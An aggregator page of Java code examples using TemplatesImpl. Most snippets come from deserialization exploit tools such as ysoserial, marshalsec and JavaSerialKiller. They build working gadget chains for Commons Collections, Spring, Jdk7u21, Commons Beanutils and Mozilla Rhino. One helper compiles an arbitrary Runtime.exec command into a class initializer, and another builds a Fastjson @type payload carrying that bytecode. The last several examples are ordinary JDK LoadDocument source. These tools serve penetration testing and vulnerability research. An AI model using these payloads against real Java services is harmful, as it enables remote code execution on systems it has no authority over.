com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl Java Examples

The following examples show how to use com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: CommonsCollections2.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Queue<Object> getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
 
Example #2
Source File: Spring1.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	
	final ObjectFactory objectFactoryProxy = 
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
	
	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);
	
	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy), 
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
	
	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
 
Example #3
Source File: CommonsCollections3.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #4
Source File: Jdk7u21.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

	String zeroHashCodeStr = "f5a5a608";

	HashMap map = new HashMap();
	map.put(zeroHashCodeStr, "foo");

	InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
	Reflections.setFieldValue(tempHandler, "type", Templates.class);
	Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

	LinkedHashSet set = new LinkedHashSet(); // maintain order
	set.add(templates);
	set.add(proxy);

	Reflections.setFieldValue(templates, "_auxClasses", null);
	Reflections.setFieldValue(templates, "_class", null);

	map.put(zeroHashCodeStr, templates); // swap in real object

	return set;
}
 
Example #5
Source File: Gadgets.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
	final TemplatesImpl templates = new TemplatesImpl();

	// use template gadget class
	ClassPool pool = ClassPool.getDefault();
	pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
	final CtClass clazz = pool.get(StubTransletPayload.class.getName());
	// run command in static initializer
	// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
	clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
	// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
	clazz.setName("ysoserial.Pwner" + System.nanoTime());

	final byte[] classBytes = clazz.toBytecode();

	// inject class bytes into instance
	Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
		classBytes,
		ClassFiles.classAsBytes(Foo.class)});

	// required to make TemplatesImpl happy
	Reflections.setFieldValue(templates, "_name", "Pwnr");
	Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
	return templates;
}
 
Example #6
Source File: CommonsBeanutilsCollectionsLogging1.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
Example #7
Source File: Exp.java    From Java-Unserialization-Study with MIT License 5 votes vote down vote up
static String buildPayload(final String command) throws Exception {
    byte[] bytecode = Gadgets.createEvilBytecode(command);
    String className = TemplatesImpl.class.getName();
    String json = "{\"@type\":\"" + className + "\"";
    json += ", \"_bytecodes\": [\"" + new sun.misc.BASE64Encoder().encode(bytecode) + "\"]";
    json += ", \"_name\": \"lightless\"";
    json += ", \"_tfactory\": { }";
    json += ", \"_outputProperties\":{ }";
    json += "}";

    return json;
}
 
Example #8
Source File: CommonsCollections4.java    From JavaSerialKiller with MIT License 5 votes vote down vote up
public Queue<Object> getObject(final String command) throws Exception {
	TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
 
Example #9
Source File: TemplatesUtil.java    From marshalsec with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
        return createTemplatesImpl(
            args,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #10
Source File: Gadgets.java    From ysoserial-modified with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String[] command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #11
Source File: TemplatesUtil.java    From JavaSCR with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl(final String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, IOException, CannotCompileException, NotFoundException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
  if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
    return createTemplatesImpl(
        args,
        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  }

  return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #12
Source File: TemplatesUtil.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
  if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
    return createTemplatesImpl(
        command,
        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  }

  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #13
Source File: Jdk8u20.java    From learnjavabug with MIT License 5 votes vote down vote up
public Object getObject(final String... command) throws Exception {
	TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command);
   Reflections.setFieldValue(templates, "_auxClasses", null);
   byte[] bytes = Converter.toBytes(getData(templates));
   patch(bytes);
	return bytes;
}
 
Example #14
Source File: Gadgets.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl (final Class c, String... command) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(c,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), command);
    }

    return createTemplatesImpl(c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, command);
}
 
Example #15
Source File: Gadgets.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #16
Source File: TemplatesUtil.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
        return createTemplatesImpl(
            args,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #17
Source File: Gadgets.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #18
Source File: Gadgets.java    From learnjavabug with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #19
Source File: Gadgets.java    From ysoserial with MIT License 5 votes vote down vote up
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #20
Source File: Test.java    From inspector-gadget with MIT License 5 votes vote down vote up
public static void main(String[] args) throws Exception {
		TemplatesImpl ti = new TemplatesImpl();
		
		Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		
		//System.out.println(Arrays.asList(aih.getConstructors()));
		Constructor ctor = aih.getDeclaredConstructor(Class.class,Map.class);
		ctor.setAccessible(true);
//		InvocationHandler ih = (InvocationHandler) ctor.newInstance(
//				com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, 
//				new HashMap(){{}}); 
//		Comparable c = (Comparable) Proxy.newProxyInstance(Test.class.getClassLoader(), new Class[] {Comparable.class}, ih);
//		c.equals(ti);
		equalsImpl(ti);
	}
 
Example #21
Source File: MozillaRhino1.java    From ysoserial-modified with MIT License 4 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {

        Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
        nativeErrorConstructor.setAccessible(true);
        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

        Context context = Context.enter();

        NativeObject scriptableObject = (NativeObject) context.initStandardObjects();

        Method enterMethod = Context.class.getDeclaredMethod("enter");
        NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
        idScriptableObject.setGetterOrSetter("name", 0, method, false);

        Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
        NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
        idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);

        Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
        getSlot.setAccessible(true);
        Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
        Field getter = slot.getClass().getDeclaredField("getter");
        getter.setAccessible(true);

        Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
        Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
        memberboxClassConstructor.setAccessible(true);
        Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
        getter.set(slot, memberboxes);

        NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(cmdHelper.getCommandArray()), TemplatesImpl.class);
        idScriptableObject.setPrototype(nativeObject);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, idScriptableObject);

        return badAttributeValueExpException;
    }
 
Example #22
Source File: MozillaRhino1.java    From ysoserial with MIT License 4 votes vote down vote up
public Object getObject(final String command) throws Exception {

        Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
        Reflections.setAccessible(nativeErrorConstructor);
        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

        Context context = Context.enter();

        NativeObject scriptableObject = (NativeObject) context.initStandardObjects();

        Method enterMethod = Context.class.getDeclaredMethod("enter");
        NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
        idScriptableObject.setGetterOrSetter("name", 0, method, false);

        Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
        NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
        idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);

        Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
        Reflections.setAccessible(getSlot);
        Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
        Field getter = slot.getClass().getDeclaredField("getter");
        Reflections.setAccessible(getter);

        Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
        Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
        Reflections.setAccessible(memberboxClassConstructor);
        Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
        getter.set(slot, memberboxes);

        NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
        idScriptableObject.setPrototype(nativeObject);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        Reflections.setAccessible(valField);
        valField.set(badAttributeValueExpException, idScriptableObject);

        return badAttributeValueExpException;
    }
 
Example #23
Source File: Gadgets.java    From JavaSCR with MIT License 4 votes vote down vote up
public static Object createTemplatesImpl(final String command)
    throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException,
    IOException, ClassNotFoundException, NoSuchFieldException {
  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 
Example #24
Source File: LoadDocument.java    From openjdk-8 with GNU General Public License v2.0 4 votes vote down vote up
/**
 * Interprets the arguments passed from the document() function (see
 * com/sun/org/apache/xalan/internal/xsltc/compiler/DocumentCall.java) and returns an
 * iterator containing the requested nodes. Builds a union-iterator if
 * several documents are requested.
 * 1 arguments arg.  document(Obj) call
 */
public static DTMAxisIterator documentF(Object arg, String xslURI,
                AbstractTranslet translet, DOM dom)
throws TransletException {
    try {
        if (arg instanceof String) {
            if (xslURI == null )
                xslURI = "";

            String baseURI = xslURI;
            if (!SystemIDResolver.isAbsoluteURI(xslURI))
               baseURI = SystemIDResolver.getAbsoluteURIFromRelative(xslURI);

            String href = (String)arg;
            if (href.length() == 0) {
                href = "";
                // %OPT% Optimization to cache the stylesheet DOM.
                // The stylesheet DOM is built once and cached
                // in the Templates object.
                TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
                DOM sdom = null;
                if (templates != null) {
                    sdom = templates.getStylesheetDOM();
                }

                // If the cached dom exists, we need to migrate it
                // to the new DTMManager and create a DTMAxisIterator
                // for the document.
                if (sdom != null) {
                    return document(sdom, translet, dom);
                }
                else {
                    return document(href, baseURI, translet, dom, true);
                }
            }
            else {
                return document(href, baseURI, translet, dom);
            }
        } else if (arg instanceof DTMAxisIterator) {
            return document((DTMAxisIterator)arg, null, translet, dom);
        } else {
            final String err = "document("+arg.toString()+")";
            throw new IllegalArgumentException(err);
        }
    } catch (Exception e) {
        throw new TransletException(e);
    }
}
 
Example #25
Source File: LoadDocument.java    From openjdk-8-source with GNU General Public License v2.0 4 votes vote down vote up
/**
 * Interprets the arguments passed from the document() function (see
 * com/sun/org/apache/xalan/internal/xsltc/compiler/DocumentCall.java) and returns an
 * iterator containing the requested nodes. Builds a union-iterator if
 * several documents are requested.
 * 1 arguments arg.  document(Obj) call
 */
public static DTMAxisIterator documentF(Object arg, String xslURI,
                AbstractTranslet translet, DOM dom)
throws TransletException {
    try {
        if (arg instanceof String) {
            if (xslURI == null )
                xslURI = "";

            String baseURI = xslURI;
            if (!SystemIDResolver.isAbsoluteURI(xslURI))
               baseURI = SystemIDResolver.getAbsoluteURIFromRelative(xslURI);

            String href = (String)arg;
            if (href.length() == 0) {
                href = "";
                // %OPT% Optimization to cache the stylesheet DOM.
                // The stylesheet DOM is built once and cached
                // in the Templates object.
                TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
                DOM sdom = null;
                if (templates != null) {
                    sdom = templates.getStylesheetDOM();
                }

                // If the cached dom exists, we need to migrate it
                // to the new DTMManager and create a DTMAxisIterator
                // for the document.
                if (sdom != null) {
                    return document(sdom, translet, dom);
                }
                else {
                    return document(href, baseURI, translet, dom, true);
                }
            }
            else {
                return document(href, baseURI, translet, dom);
            }
        } else if (arg instanceof DTMAxisIterator) {
            return document((DTMAxisIterator)arg, null, translet, dom);
        } else {
            final String err = "document("+arg.toString()+")";
            throw new IllegalArgumentException(err);
        }
    } catch (Exception e) {
        throw new TransletException(e);
    }
}
 
Example #26
Source File: LoadDocument.java    From hottub with GNU General Public License v2.0 4 votes vote down vote up
/**
 * Interprets the arguments passed from the document() function (see
 * com/sun/org/apache/xalan/internal/xsltc/compiler/DocumentCall.java) and returns an
 * iterator containing the requested nodes. Builds a union-iterator if
 * several documents are requested.
 * 1 arguments arg.  document(Obj) call
 */
public static DTMAxisIterator documentF(Object arg, String xslURI,
                AbstractTranslet translet, DOM dom)
throws TransletException {
    try {
        if (arg instanceof String) {
            if (xslURI == null )
                xslURI = "";

            String baseURI = xslURI;
            if (!SystemIDResolver.isAbsoluteURI(xslURI))
               baseURI = SystemIDResolver.getAbsoluteURIFromRelative(xslURI);

            String href = (String)arg;
            if (href.length() == 0) {
                href = "";
                // %OPT% Optimization to cache the stylesheet DOM.
                // The stylesheet DOM is built once and cached
                // in the Templates object.
                TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
                DOM sdom = null;
                if (templates != null) {
                    sdom = templates.getStylesheetDOM();
                }

                // If the cached dom exists, we need to migrate it
                // to the new DTMManager and create a DTMAxisIterator
                // for the document.
                if (sdom != null) {
                    return document(sdom, translet, dom);
                }
                else {
                    return document(href, baseURI, translet, dom, true);
                }
            }
            else {
                return document(href, baseURI, translet, dom);
            }
        } else if (arg instanceof DTMAxisIterator) {
            return document((DTMAxisIterator)arg, null, translet, dom);
        } else {
            final String err = "document("+arg.toString()+")";
            throw new IllegalArgumentException(err);
        }
    } catch (Exception e) {
        throw new TransletException(e);
    }
}
 
Example #27
Source File: LoadDocument.java    From jdk1.8-source-analysis with Apache License 2.0 4 votes vote down vote up
/**
 * Interprets the arguments passed from the document() function (see
 * com/sun/org/apache/xalan/internal/xsltc/compiler/DocumentCall.java) and returns an
 * iterator containing the requested nodes. Builds a union-iterator if
 * several documents are requested.
 * 1 arguments arg.  document(Obj) call
 */
public static DTMAxisIterator documentF(Object arg, String xslURI,
                AbstractTranslet translet, DOM dom)
throws TransletException {
    try {
        if (arg instanceof String) {
            if (xslURI == null )
                xslURI = "";

            String baseURI = xslURI;
            if (!SystemIDResolver.isAbsoluteURI(xslURI))
               baseURI = SystemIDResolver.getAbsoluteURIFromRelative(xslURI);

            String href = (String)arg;
            if (href.length() == 0) {
                href = "";
                // %OPT% Optimization to cache the stylesheet DOM.
                // The stylesheet DOM is built once and cached
                // in the Templates object.
                TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
                DOM sdom = null;
                if (templates != null) {
                    sdom = templates.getStylesheetDOM();
                }

                // If the cached dom exists, we need to migrate it
                // to the new DTMManager and create a DTMAxisIterator
                // for the document.
                if (sdom != null) {
                    return document(sdom, translet, dom);
                }
                else {
                    return document(href, baseURI, translet, dom, true);
                }
            }
            else {
                return document(href, baseURI, translet, dom);
            }
        } else if (arg instanceof DTMAxisIterator) {
            return document((DTMAxisIterator)arg, null, translet, dom);
        } else {
            final String err = "document("+arg.toString()+")";
            throw new IllegalArgumentException(err);
        }
    } catch (Exception e) {
        throw new TransletException(e);
    }
}
 
Example #28
Source File: LoadDocument.java    From openjdk-jdk9 with GNU General Public License v2.0 4 votes vote down vote up
/**
 * Interprets the arguments passed from the document() function (see
 * com/sun/org/apache/xalan/internal/xsltc/compiler/DocumentCall.java) and returns an
 * iterator containing the requested nodes. Builds a union-iterator if
 * several documents are requested.
 * 1 arguments arg.  document(Obj) call
 */
public static DTMAxisIterator documentF(Object arg, String xslURI,
                AbstractTranslet translet, DOM dom)
throws TransletException {
    try {
        if (arg instanceof String) {
            if (xslURI == null )
                xslURI = "";

            String baseURI = xslURI;
            if (!SystemIDResolver.isAbsoluteURI(xslURI))
               baseURI = SystemIDResolver.getAbsoluteURIFromRelative(xslURI);

            String href = (String)arg;
            if (href.length() == 0) {
                href = "";
                // %OPT% Optimization to cache the stylesheet DOM.
                // The stylesheet DOM is built once and cached
                // in the Templates object.
                TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
                DOM sdom = null;
                if (templates != null) {
                    sdom = templates.getStylesheetDOM();
                }

                // If the cached dom exists, we need to migrate it
                // to the new DTMManager and create a DTMAxisIterator
                // for the document.
                if (sdom != null) {
                    return document(sdom, translet, dom);
                }
                else {
                    return document(href, baseURI, translet, dom, true);
                }
            }
            else {
                return document(href, baseURI, translet, dom);
            }
        } else if (arg instanceof DTMAxisIterator) {
            return document((DTMAxisIterator)arg, null, translet, dom);
        } else {
            final String err = "document("+arg.toString()+")";
            throw new IllegalArgumentException(err);
        }
    } catch (Exception e) {
        throw new TransletException(e);
    }
}
 
Example #29
Source File: LoadDocument.java    From Bytecoder with Apache License 2.0 4 votes vote down vote up
/**
 * Interprets the arguments passed from the document() function (see
 * com/sun/org/apache/xalan/internal/xsltc/compiler/DocumentCall.java) and returns an
 * iterator containing the requested nodes. Builds a union-iterator if
 * several documents are requested.
 * 1 arguments arg.  document(Obj) call
 */
public static DTMAxisIterator documentF(Object arg, String xslURI,
                AbstractTranslet translet, DOM dom)
throws TransletException {
    try {
        if (arg instanceof String) {
            if (xslURI == null )
                xslURI = "";

            String baseURI = xslURI;
            if (!SystemIDResolver.isAbsoluteURI(xslURI))
               baseURI = SystemIDResolver.getAbsoluteURIFromRelative(xslURI);

            String href = (String)arg;
            if (href.length() == 0) {
                href = "";
                // %OPT% Optimization to cache the stylesheet DOM.
                // The stylesheet DOM is built once and cached
                // in the Templates object.
                TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
                DOM sdom = null;
                if (templates != null) {
                    sdom = templates.getStylesheetDOM();
                }

                // If the cached dom exists, we need to migrate it
                // to the new DTMManager and create a DTMAxisIterator
                // for the document.
                if (sdom != null) {
                    return document(sdom, translet, dom);
                }
                else {
                    return document(href, baseURI, translet, dom, true);
                }
            }
            else {
                return document(href, baseURI, translet, dom);
            }
        } else if (arg instanceof DTMAxisIterator) {
            return document((DTMAxisIterator)arg, null, translet, dom);
        } else {
            final String err = "document("+arg.toString()+")";
            throw new IllegalArgumentException(err);
        }
    } catch (Exception e) {
        throw new TransletException(e);
    }
}
 
Example #30
Source File: LoadDocument.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 4 votes vote down vote up
/**
 * Interprets the arguments passed from the document() function (see
 * com/sun/org/apache/xalan/internal/xsltc/compiler/DocumentCall.java) and returns an
 * iterator containing the requested nodes. Builds a union-iterator if
 * several documents are requested.
 * 1 arguments arg.  document(Obj) call
 */
public static DTMAxisIterator documentF(Object arg, String xslURI,
                AbstractTranslet translet, DOM dom)
throws TransletException {
    try {
        if (arg instanceof String) {
            if (xslURI == null )
                xslURI = "";

            String baseURI = xslURI;
            if (!SystemIDResolver.isAbsoluteURI(xslURI))
               baseURI = SystemIDResolver.getAbsoluteURIFromRelative(xslURI);

            String href = (String)arg;
            if (href.length() == 0) {
                href = "";
                // %OPT% Optimization to cache the stylesheet DOM.
                // The stylesheet DOM is built once and cached
                // in the Templates object.
                TemplatesImpl templates = (TemplatesImpl)translet.getTemplates();
                DOM sdom = null;
                if (templates != null) {
                    sdom = templates.getStylesheetDOM();
                }

                // If the cached dom exists, we need to migrate it
                // to the new DTMManager and create a DTMAxisIterator
                // for the document.
                if (sdom != null) {
                    return document(sdom, translet, dom);
                }
                else {
                    return document(href, baseURI, translet, dom, true);
                }
            }
            else {
                return document(href, baseURI, translet, dom);
            }
        } else if (arg instanceof DTMAxisIterator) {
            return document((DTMAxisIterator)arg, null, translet, dom);
        } else {
            final String err = "document("+arg.toString()+")";
            throw new IllegalArgumentException(err);
        }
    } catch (Exception e) {
        throw new TransletException(e);
    }
}